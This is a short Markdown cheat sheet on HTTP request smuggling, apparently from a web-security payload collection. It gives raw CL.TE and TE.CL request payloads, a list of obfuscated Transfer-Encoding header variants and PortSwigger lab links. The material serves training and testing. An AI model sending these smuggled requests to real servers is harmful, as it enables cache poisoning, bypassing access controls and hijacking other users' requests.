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104 lines
2.5 KiB
Markdown
104 lines
2.5 KiB
Markdown
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# Request Smuggling
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## Summary
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* [CL.TE vulnerabilities](#cl.te-vulnerabilities)
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* [TE.CL vulnerabilities](#te.cl-vulnerabilities)
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* [TE.TE behavior: obfuscating the TE header](#te.te-behavior-obfuscating-the-te-header)
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* [References](#references)
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## CL.TE vulnerabilities
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> The front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
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```powershell
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POST / HTTP/1.1
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Host: vulnerable-website.com
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Content-Length: 13
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Transfer-Encoding: chunked
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0
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SMUGGLED
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```
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Example:
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```powershell
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POST / HTTP/1.1
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Host: domain.example.com
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Connection: keep-alive
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 6
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Transfer-Encoding: chunked
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0
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G
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```
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Challenge: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
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## TE.CL vulnerabilities
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> The front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
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```powershell
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POST / HTTP/1.1
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Host: vulnerable-website.com
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Content-Length: 3
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Transfer-Encoding: chunked
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8
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SMUGGLED
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0
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```
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Example:
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```powershell
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POST / HTTP/1.1
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Host: domain.example.com
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User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86
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Content-Length: 4
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Accept-Encoding: gzip, deflate
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5c
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GPOST / HTTP/1.1
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 15
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x=1
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0
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```
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:warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence \r\n\r\n following the final 0.
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Challenge: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
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## TE.TE behavior: obfuscating the TE header
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> The front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
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```powershell
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Transfer-Encoding: xchunked
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Transfer-Encoding : chunked
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Transfer-Encoding: chunked
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Transfer-Encoding: x
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Transfer-Encoding:[tab]chunked
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[space]Transfer-Encoding: chunked
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X: X[\n]Transfer-Encoding: chunked
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Transfer-Encoding
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: chunked
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```
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Challenge: https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
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## References
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* [PortSwigger - Request Smuggling](https://portswigger.net/web-security/request-smuggling)
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